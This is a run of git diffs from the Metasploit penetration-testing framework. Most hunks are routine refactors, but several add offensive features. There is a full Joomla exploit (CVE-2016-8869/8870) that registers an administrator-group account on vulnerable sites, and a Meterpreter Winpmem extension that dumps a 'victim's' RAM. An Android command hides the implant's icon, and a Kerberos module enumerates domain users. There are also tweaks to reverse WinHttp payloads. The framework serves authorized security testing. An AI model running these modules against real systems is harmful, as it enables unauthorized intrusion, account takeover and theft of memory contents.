conf[:uri] = generate_uri
conf[:uri] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash]
conf[:proxy_host] = datastore['PayloadProxyHost']
@ -49,7 +49,7 @@ module Payload::Windows::ReverseWinHttp
conf[:proxy_ie] = datastore['PayloadProxyIE']
else
# Otherwise default to small URIs
conf[:uri] = generate_small_uri
conf[:uri] = luri + generate_small_uri
end
generate_reverse_winhttp(conf)
@ -139,7 +139,7 @@ module Payload::Windows::ReverseWinHttp
full_url << opts[:uri]
encoded_full_url = asm_generate_wchar_array(full_url)
encoded_uri_index = full_url.rindex('/') * 2
encoded_uri_index = (full_url.length - opts[:uri].length) * 2
if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true

View File

@ -38,7 +38,7 @@ module Payload::Windows::ReverseWinHttp_x64
# Add extra options if we have enough space
if self.available_space && required_space <= self.available_space
conf[:uri] = generate_uri
conf[:uri] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash]
conf[:proxy_host] = datastore['PayloadProxyHost']
@ -50,7 +50,7 @@ module Payload::Windows::ReverseWinHttp_x64
conf[:proxy_ie] = datastore['PayloadProxyIE']
else
# Otherwise default to small URIs
conf[:uri] = generate_small_uri
conf[:uri] = luri + generate_small_uri
end
generate_reverse_winhttp(conf)
@ -141,7 +141,7 @@ module Payload::Windows::ReverseWinHttp_x64
full_url << opts[:uri]
encoded_full_url = asm_generate_wchar_array(full_url)
encoded_uri_index = full_url.rindex('/') * 2
encoded_uri_index = (full_url.length - opts[:uri].length) * 2
if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true

View File

@ -112,6 +112,8 @@ class Plugin
output.print_error(msg) if (output)
end
alias_method :print_bad, :print_error
#
# Prints a 'good' message.
#

View File

@ -1345,17 +1345,11 @@ require 'msf/core/exe/segment_appender'
end
def self.to_win32pe_psh_net(framework, code, opts={})
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, code)
Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end
def self.to_win32pe_psh(framework, code, opts = {})
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh(template_path, code)
Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end
#
@ -1364,10 +1358,7 @@ require 'msf/core/exe/segment_appender'
# Originally from PowerSploit
#
def self.to_win32pe_psh_reflection(framework, code, opts = {})
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, code)
Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end
def self.to_powershell_command(framework, arch, code)

View File

@ -182,6 +182,25 @@ class APIRequest
end
end
@res.elements.each('//Failure') do |s|
# 1.1 returns lower case elements
s.elements.each('message') do |m|
@error = m.text
end
s.elements.each('stacktrace') do |m|
@trace = m.text
end
# 1.2 returns capitalized elements
s.elements.each('Message') do |m|
@error = m.text
end
s.elements.each('Stacktrace') do |m|
@trace = m.text
end
end
# This is a hack to handle corner cases where a heavily loaded Nexpose instance
# drops our HTTP connection before processing. We try 5 times to establish a
# connection in these situations. The actual exception occurs in the Ruby

View File

@ -248,6 +248,12 @@ class Android < Extension
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end
def hide_app_icon
request = Packet.create_request('android_hide_app_icon')
response = client.send_request(request)
response.get_tlv_value(TLV_TYPE_ICON_NAME)
end
def activity_start(uri)
request = Packet.create_request('android_activity_start')
request.add_tlv(TLV_TYPE_URI_STRING, uri)

View File

@ -81,6 +81,8 @@ TLV_TYPE_URI_STRING = TLV_META_TYPE_STRING | (TLV_EXTENSIONS
TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102)
TLV_TYPE_ACTIVITY_START_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9103)
TLV_TYPE_ICON_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9104)
TLV_TYPE_SQLITE_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9080)
TLV_TYPE_SQLITE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9081)
TLV_TYPE_SQLITE_QUERY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9082)

View File

@ -0,0 +1,13 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Winpmem
TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2)
end
end
end
end
end

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/winpmem/tlv'
module Rex
module Post
module Meterpreter
module Extensions
module Winpmem
###
#
# This meterpreter extension can be used to capture remote RAM
#
###
class Winpmem < Extension
WINPMEM_ERROR_SUCCESS = 0
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
WINPMEM_ERROR_UNKNOWN = 255
def initialize(client)
super(client, 'winpmem')
client.register_extension_aliases(
[
{
'name' => 'winpmem',
'ext' => self
},
])
end
def dump_ram
request = Packet.create_request('dump_ram')
response = client.send_request(request)
response_code = response.get_tlv_value(TLV_TYPE_WINPMEM_ERROR_CODE)
return 0, response_code, nil if response_code != WINPMEM_ERROR_SUCCESS
memory_size = response.get_tlv_value(TLV_TYPE_WINPMEM_MEMORY_SIZE)
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
raise Exception, "We did not get a channel back!" if channel_id.nil?
#Open the compressed Channel
channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
return memory_size, response_code, channel
end
end
end; end; end; end; end

View File

@ -31,6 +31,7 @@ class Console::CommandDispatcher::Android
'wlan_geolocate' => 'Get current lat-long using WLAN information',
'interval_collect' => 'Manage interval collection capabilities',
'activity_start' => 'Start an Android activity from a Uri string',
'hide_app_icon' => 'Hide the app icon from the launcher',
'sqlite_query' => 'Query a SQLite database from storage',
'set_audio_mode' => 'Set Ringer Mode'
}
@ -46,6 +47,7 @@ class Console::CommandDispatcher::Android
'wlan_geolocate' => ['android_wlan_geolocate'],
'interval_collect' => ['android_interval_collect'],
'activity_start' => ['android_activity_start'],
'hide_app_icon' => ['android_hide_app_icon'],
'sqlite_query' => ['android_sqlite_query'],
'set_audio_mode' => ['android_set_audio_mode']
}
@ -580,6 +582,27 @@ class Console::CommandDispatcher::Android
end
end
def cmd_hide_app_icon(*args)
hide_app_icon_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
hide_app_icon_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: hide_app_icon [options]')
print_line('Hide the application icon from the launcher.')
print_line(hide_app_icon_opts.usage)
return
end
end
result = client.android.hide_app_icon
if result
print_status("Activity #{result} was hidden")
end
end
def cmd_sqlite_query(*args)
sqlite_query_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],

View File

@ -0,0 +1,90 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
class Console::CommandDispatcher::Winpmem
Klass = Console::CommandDispatcher::Winpmem
include Console::CommandDispatcher
#
# Name for this dispatcher
#
def name
'Winpmem'
end
#
# List of supported commands.
#
def commands
{
'dump_ram' => 'Dump victim RAM',
}
end
WINPMEM_ERROR_SUCCESS = 0
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
WINPMEM_ERROR_UNKNOWN = 255
def cmd_dump_ram(*args)
unless args[0]
print_error("Usage: dump_ram [output_file]")
return
end
path_raw = args[0]
fd = ::File.new(path_raw, 'wb+')
memory_size, response_code, channel = client.winpmem.dump_ram
case response_code
when WINPMEM_ERROR_FAILED_LOAD_DRIVER
print_error("Failed to load the driver")
return true
when WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY
print_error("Failed to get the memory geometry")
return true
when WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY
print_error("Failed to allocate memory")
return true
when WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL
print_error("Failed to open the meterpreter Channel")
return true
end
print_good("Driver PMEM loaded successfully")
#Arbitrary big buffer size, could be optimized
buffer_size = 2**17
bytes_read = 0
next_message_byte = memory_size / 10
begin
data = channel.read(buffer_size)
until channel.eof
fd.write(data)
bytes_read += data.length
data = channel.read(buffer_size)
if bytes_read >= next_message_byte
print_good(((next_message_byte.to_f / memory_size) * 100).round.to_s + "% Downloaded")
next_message_byte += memory_size / 10
end
end
print_status("Download completed")
ensure
print_status("Unloading driver")
fd.close
#Unload the driver on channel close
channel.close
end
return true
end
end
end
end
end
end

View File

@ -9,6 +9,7 @@ class Base
def print_status(msg); end
def print_good(msg); end
def print_error(msg); end
alias_method :print_bad, :print_error
def print_warning(msg); end
end

View File

@ -24,6 +24,8 @@ class Output
def print_error(msg='')
end
alias_method :print_bad, :print_error
#
# Prints a 'good' message.
#

View File

@ -46,6 +46,8 @@ module Subscriber
end
end
alias_method :print_bad, :print_error
#
# Wraps user_output.print_good
#

View File

@ -80,6 +80,8 @@ class BidirectionalPipe < Rex::Ui::Text::Input
print_line('[-] ' + msg)
end
alias_method :print_bad, :print_error
def print_line(msg='')
print(msg + "\n")
end

View File

@ -61,6 +61,8 @@ module DispatcherShell
shell.print_error(msg)
end
alias_method :print_bad, :print_error
#
# Wraps shell.print_status
#

View File

@ -40,6 +40,20 @@ begin
::Readline.completion_proc = tab_complete_proc || @rl_saved_proc
end
#
# Retrieve the line buffer
#
def line_buffer
if defined? RbReadline
RbReadline.rl_line_buffer
else
::Readline.line_buffer
end
end
attr_accessor :prompt
#
# Whether or not the input medium supports readline.
#
@ -124,12 +138,13 @@ begin
# to reimplement []`Readline.readline`](https://github.com/luislavena/rb-readline/blob/ce4908dae45dbcae90a6e42e3710b8c3a1f2cd64/lib/readline.rb#L36-L58)
# for rb-readline to support setting input and output. Output needs to be set so that colorization works for the
# prompt on Windows.
self.prompt = prompt
if defined? RbReadline
RbReadline.rl_instream = fd
RbReadline.rl_outstream = output
begin
line = RbReadline.readline(prompt)
line = RbReadline.readline("\001\r\033[K\002" + prompt)
rescue ::Exception => exception
RbReadline.rl_cleanup_after_signal()
RbReadline.rl_deprep_terminal()
@ -143,7 +158,7 @@ begin
line.try(:dup)
else
::Readline.readline(prompt, true)
::Readline.readline("\001\r\033[K\002" + prompt, true)
end
end

View File

@ -29,6 +29,7 @@ class Output < Rex::Ui::Output
super
end
attr_reader :config
attr_accessor :input
def disable_color
@config[:color] = false
@ -51,6 +52,8 @@ class Output < Rex::Ui::Output
print_line("%bld%red[-]%clr #{msg}")
end
alias_method :print_bad, :print_error
def print_good(msg = '')
print_line("%bld%grn[+]%clr #{msg}")
end
@ -60,7 +63,14 @@ class Output < Rex::Ui::Output
end
def print_line(msg = '')
print(msg + "\n")
print("\033[s") # Save cursor position
print("\r\033[K" + msg + "\n")
if input and input.prompt
print("\r\033[K")
print(input.prompt)
print(input.line_buffer)
print("\033[u\033[B") # Restore cursor, move down one line
end
end
def print_warning(msg = '')

View File

@ -184,7 +184,9 @@ module Shell
self.init_prompt = input.prompt
end
output.input = input
line = input.pgets()
output.input = nil
log_output(input.prompt)
# If a block was passed in, pass the line to it. If it returns true,
@ -276,6 +278,8 @@ module Shell
log_output(output.print_error(msg))
end
alias_method :print_bad, :print_error
#
# Prints a status message to the output handle.
#

View File

@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.26'
spec.add_runtime_dependency 'metasploit-payloads', '1.1.29'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.8'
# Needed by msfgui and other rpc components

View File

@ -18,8 +18,8 @@ class MetasploitModule < Msf::Auxiliary
This module acts as a simplistic administrative client for interfacing
with Veeder-Root Automatic Tank Gauges (ATGs) or other devices speaking
the TLS-250 and TLS-350 protocols. This has been tested against
GasPot, a honeypot meant to simulate ATGs; it has not been tested
against anything else, so use at your own risk.
GasPot and Conpot, both honeypots meant to simulate ATGs; it has not
been tested against anything else, so use at your own risk.
},
'Author' =>
[
@ -31,6 +31,7 @@ class MetasploitModule < Msf::Auxiliary
['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'],
['URL', 'http://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-gaspot-experiment'],
['URL', 'https://github.com/sjhilt/GasPot'],
['URL', 'https://github.com/mushorg/conpot'],
['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'],
['URL', 'http://www.chipkin.com/files/liz/576013-635.pdf'],
['URL', 'http://www.veeder.com/gold/download.cfm?doc_id=6227']
@ -187,6 +188,8 @@ class MetasploitModule < Msf::Auxiliary
def get_response(request)
sock.put(request)
response = sock.get_once(-1, timeout)
response.strip!
response += " (command not understood)" if response == "9999FF1B"
response
end
@ -245,7 +248,8 @@ class MetasploitModule < Msf::Auxiliary
end
else
response = get_response("#{action.opts[protocol_opt_name]}\n")
print_good("#{protocol} #{action.opts['Description']}:\n#{response}")
print_good("#{protocol} #{action.opts['Description']}:")
print_line(response)
end
ensure
disconnect

View File

@ -0,0 +1,148 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Joomla
def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla Account Creation and Privilege Escalation',
'Description' => %q{
This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
},
'References' =>
[
['CVE', '2016-8869'],
['CVE', '2016-8870'],
['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'],
['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'],
['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2']
],
'Author' =>
[
'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation
'Filipe Reis <fr[at]integrity.pt>', # module creation and privilege escalation
'Vitor Oliveira <vo[at]integrity.pt>', # module creation and privilege escalation
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 25 2016'
))
register_options(
[
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']),
OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']),
OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']),
OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com'])
]
)
end
def check
res = send_request_cgi('uri' => target_uri.path)
unless res
print_error("Connection timed out")
return Exploit::CheckCode::Unknown
end
online = joomla_and_online?
unless online
print_error("Unable to detect joomla on #{target_uri.path}")
return Exploit::CheckCode::Safe
end
version = Gem::Version.new(joomla_version)
if version
print_status("Detected Joomla version #{joomla_version}")
return Exploit::CheckCode::Appears if version.between?(Gem::Version.new('3.4.4'), Gem::Version.new('3.6.3'))
end
return Exploit::CheckCode::Detected if online
end
def get_csrf(hidden_fields)
hidden_list = hidden_fields
hidden_list.each do |fields|
fields.each do |item|
if item[0].length == 32 && item[1] == '1'
return item[0]
end
end
end
end
def run
if check == Exploit::CheckCode::Safe
print_error('Target seems safe, so we will not continue!')
return
end
print_status("Trying to create the user!")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
'vars_get' => {
'view' => 'login'
}
)
if res && res.code == 200
cookie = res.get_cookies
csrf = get_csrf(res.get_hidden_inputs)
if csrf.length != 32 && cookie.split(/=/).length != 2
print_error('Could not find csrf or cookie!')
return
end
else
print_error('Could not find Login Page!')
return
end
mime = Rex::MIME::Message.new
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"')
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"')
mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"')
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"')
mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"')
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"')
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"')
mime.add_part('com_users', nil, nil, 'form-data; name="option"')
mime.add_part('user.register', nil, nil, 'form-data; name="task"')
mime.add_part('1', nil, nil, 'form-data; name="' + csrf +'"')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
if res && res.code == 200
print_good("PWND - Your user has been created")
print_status("\tUsername: " + datastore['USERNAME'])
print_status("\tPassword: " + datastore['PASSWORD'])
print_status("\tEmail: " + datastore['EMAIL'])
elsif res.redirect?
res = send_request_cgi!(
'uri' => res.redirection.path,
'method' => 'GET',
'cookie' => cookie
)
print_error("There was an issue, but the user could have been created.")
parsed_data = res.get_html_document
parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|
print_error("\t" + alert_msg.text)
end
else
print_error("This host may not be vulnerable.")
end
end
end

View File

@ -20,8 +20,8 @@ class MetasploitModule < Msf::Auxiliary
It allows a remote user to read out the PLC Type, Firmware and
Build number on port TCP/1962.
And also to read out the CPU State (Running or Stopped) AND start
or stop the CPU on port TCP/20547 (confirmed ILC 15x and 17x series)
or on port TCP/41100 (confirmed ILC 39x series)
or stop the CPU on port TCP/41100 (confirmed ILC 15x and 17x series)
or on port TCP/20547 (confirmed ILC 39x series)
},
'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>',
'License' => MSF_LICENSE,
@ -211,11 +211,11 @@ class MetasploitModule < Msf::Auxiliary
if device.start_with?('ILC 15', 'ILC 17')
devicetype = '15x'
print_status('--> Detected 15x/17x series, getting current CPU state:')
ractionport == 0 ? (rport = 41100) : (rport = ractionport)
ractionport.nil? ? (rport = 41100) : (rport = ractionport)
elsif device.start_with?('ILC 39')
devicetype = '39x'
print_status('--> Detected 39x series, getting current CPU state:')
ractionport == 0 ? (rport = 20547) : (rport = ractionport)
ractionport.nil? ? (rport = 20547) : (rport = ractionport)
else
print_error('Only ILC and (some) RFC devices are supported.')
return

View File

@ -99,9 +99,9 @@ class MetasploitModule < Msf::Auxiliary
print_status("Executing the command...")
begin
return psexec(execute)
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => exec_command_error
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
print_error("Unable to execute specified command: #{exec_command_error}")
print_error("Unable to execute specified command: #{e}")
return false
end
end
@ -136,8 +136,13 @@ class MetasploitModule < Msf::Auxiliary
# check if our process is done using these files
def exclusive_access(*files)
begin
simple.connect("\\\\#{@ip}\\#{@smbshare}")
files.each do |file|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_status("Unable to get handle: #{accesserror}")
return false
end
files.each do |file|
begin
print_status("checking if the file is unlocked")
fd = smb_open(file, 'rwo')
@ -154,7 +159,12 @@ class MetasploitModule < Msf::Auxiliary
# Removes files created during execution.
def cleanup_after(*files)
simple.connect("\\\\#{@ip}\\#{@smbshare}")
begin
simple.connect("\\\\#{@ip}\\#{@smbshare}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.")
return
end
print_status("Executing cleanup...")
files.each do |file|
begin

View File

@ -17,13 +17,13 @@ class MetasploitModule < Msf::Auxiliary
Wireshark crash when dissecting an HTTP chunked response.
Versions affected: 0.99.5 (Bug 1394)
},
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
'Author' => ['Matteo Cantoni <goony[at]nothink.org>'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-3389'],
[ 'OSVDB', '37643'],
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'],
['CVE', '2007-3389'],
['OSVDB', '37643'],
['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'],
],
'DisclosureDate' => 'Feb 22 2007'))
@ -42,13 +42,13 @@ class MetasploitModule < Msf::Auxiliary
p = PacketFu::TCPPacket.new
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
p.ip_daddr = dhost
p.ip_daddr = rhost
p.tcp_dport = rand(65535)+1
n.tcp_ack = rand(0x100000000)
p.tcp_ack = rand(0x100000000)
p.tcp_flags.psh = 1
p.tcp_flags.ack = 1
p.tcp_sport = datastore['SPORT'].to_i
p.tcp_window = 3072
p.tcp_win = 3072
# The following hex blob contains an HTTP response with a chunked-encoding
# length of 0. The ASCII version is below in a block comment.

View File

@ -49,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary
p.tcp_flags.syn = 1
p.tcp_flags.ack = 1
p.tcp_dport = datastore['RPORT'].to_i
p.tcp_window = 3072
p.tcp_win = 3072
p.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016"
p.recalc
capture_sendto(p, rhost)

View File

@ -0,0 +1,172 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/http'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Censys Search',
'Description' => %q{
The module use the Censys REST API to access the same data
accessible through web interface. The search endpoint allows searches
against the current data in the IPv4, Top Million Websites, and
Certificates indexes using the same search syntax as the primary site.
},
'Author' => [ 'Nixawk' ],
'References' => [
['URL', 'https://censys.io/api']
],
'License' => MSF_LICENSE
))
register_options([
OptString.new('CENSYS_UID', [true, 'The Censys API UID']),
OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']),
OptString.new('CENSYS_DORK', [true, 'The Censys Search Dork']),
OptEnum.new('CENSYS_SEARCHTYPE', [true, 'The Censys Search Type', 'certificates', ['certificates', 'ipv4', 'websites']])
], self.class)
end
def basic_auth_header(username, password)
auth_str = username.to_s + ":" + password.to_s
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
end
def search(keyword, search_type)
# search_type should be one of ipv4, websites, certificates
begin
# "80.http.get.headers.server: Apache"
payload = {
'query' => keyword
}
@cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true)
@cli.connect
response = @cli.request_cgi(
'method' => 'post',
'uri' => "/api/v1/search/#{search_type}",
'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) },
'data' => payload.to_json
)
res = @cli.send_recv(response)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("HTTP Connection Failed")
end
unless res
print_error('server_response_error')
return
end
records = ActiveSupport::JSON.decode(res.body)
results = records['results']
if @searchtype.include?('certificates')
parse_certificates(results)
elsif @searchtype.include?('ipv4')
parse_ipv4(results)
elsif @searchtype.include?('websites')
parse_websites(results)
end
end
def valid_domain?(domain)
domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/
end
def domain2ip(domain)
ips = []
begin
ips = Rex::Socket.getaddresses(domain)
rescue SocketError
end
ips
end
def parse_certificates(records)
ips = []
records.each do |certificate|
# parsed.fingerprint_sha256
# parsed.subject_dn
# parsed.issuer_dn
subject_dn = certificate['parsed.subject_dn'].join(',')
next unless subject_dn.include?('CN=')
host = subject_dn.split('CN=')[1]
if Rex::Socket.is_ipv4?(host)
ips << host
elsif valid_domain?(host) # Fake DNS server
ips |= domain2ip(host)
end
ips.each do |ip|
print_good("#{ip} - #{subject_dn}")
report_host(:host => ip, :info => subject_dn)
end
end
end
def parse_ipv4(records)
records.each do |ipv4|
# ip
# protocols
ip = ipv4['ip']
protocols = ipv4['protocols']
protocols.each do |protocol|
print_good("#{ipv4['ip']} - #{ipv4['protocols'].join(',')}")
port, name = protocol.split('/')
report_service(:host => ip, :port => port, :name => name)
end
end
end
def parse_websites(records)
records.each do |website|
# domain
# alexa_rank
print_good("#{website['domain']} - #{website['alexa_rank']}")
domain = website['domain']
ips = domain2ip(domain)
ips.each do |ip|
report_host(:host =>ip)
end
end
end
# Check to see if www.censys.io resolves properly
def censys_resolvable?
begin
Rex::Socket.resolv_to_dotted("www.censys.io")
rescue RuntimeError, SocketError
return false
end
true
end
def run
# check to ensure www.censys.io is resolvable
unless censys_resolvable?
print_error("Unable to resolve www.censys.io")
return
end
@uid = datastore['CENSYS_UID']
@secret = datastore['CENSYS_SECRET']
@dork = datastore['CENSYS_DORK']
@searchtype = datastore['CENSYS_SEARCHTYPE']
search(@dork, @searchtype)
end
end

View File

@ -81,7 +81,7 @@ class MetasploitModule < Msf::Auxiliary
host = "[#{host}]"
end
if datastore['URIPORT'] != 0
if datastore['URIPORT']
port = ':' + datastore['URIPORT'].to_s
elsif (ssl and datastore["SRVPORT"] == 443)
port = ''

View File

@ -0,0 +1,127 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Kerberos::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Kerberos Domain User Enumeration',
'Description' => %q(
This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilises
the different responses returned by the service for valid and invalid users.
),
'Author' =>
[
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://nmap.org/nsedoc/scripts/krb5-enum-users.html']
],
'License' => MSF_LICENSE
)
)
register_options(
[
OptString.new('DOMAIN', [ true, 'The Domain Eg: demo.local' ]),
OptPath.new(
'USER_FILE',
[true, 'Files containing usernames, one per line', nil]
)
],
self.class
)
end
def user_list
users = nil
if File.readable? datastore['USER_FILE']
users = File.new(datastore['USER_FILE']).read.split
users.each { |u| u.downcase! }
users.uniq!
else
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
end
users
end
def run
print_status("Validating options...")
domain = datastore['DOMAIN'].upcase
user_file = datastore['USER_FILE']
print_status("Using domain: #{domain}...")
pre_auth = []
pre_auth << build_pa_pac_request
pre_auth
user_list.each do |user|
print_status("#{peer} - Testing User: \"#{user}\"...")
res = send_request_as(
client_name: "#{user}",
server_name: "krbtgt/#{domain}",
realm: "#{domain}",
pa_data: pre_auth
)
print_status("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
test = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code]
if test == ["KDC_ERR_PREAUTH_REQUIRED", "Additional pre-authentication required"]
print_good("#{peer} - User: \"#{user}\" is present")
report_cred(
host: datastore['RHOST'],
port: rport,
creds_name: 'Kerberos',
user: user
)
elsif test == ["KDC_ERR_CLIENT_REVOKED", "Clients credentials have been revoked"]
print_error("#{peer} - User: \"#{user}\" account disabled or locked out")
else
print_status("#{peer} - User: \"#{user}\" does not exist")
end
end
end
def report_cred(opts)
service_data = {
address: opts[:host],
port: opts[:port],
protocol: 'udp',
workspace_id: myworkspace.id,
service_name: opts[:creds_name]
}
credential_data = {
username: opts[:user],
origin_type: :service,
module_fullname: self.fullname
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def warn_error(res)
msg = ''
if Rex::Proto::Kerberos::Model::ERROR_CODES.key?(res.error_code)
error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code]
msg = "#{error_info[0]} - #{error_info[1]}"
else
msg = 'Wrong DOMAIN Name? Check DOMAIN and retry...'
end
end
end

View File

@ -98,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary
progress(file_size, file_size)
fname = datastore['PATH'].gsub(/[\/\\]/, '_')
p = store_loot("titanftp.traversal", "text/plain", "rhost", file_data, fname)
p = store_loot("titanftp.traversal", "text/plain", ip, file_data, fname)
print_status("Saved in: #{p}")
vprint_status(file_data.inspect)

View File

@ -7,7 +7,7 @@ require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::WmapScanServer
include Msf::Auxiliary::Report
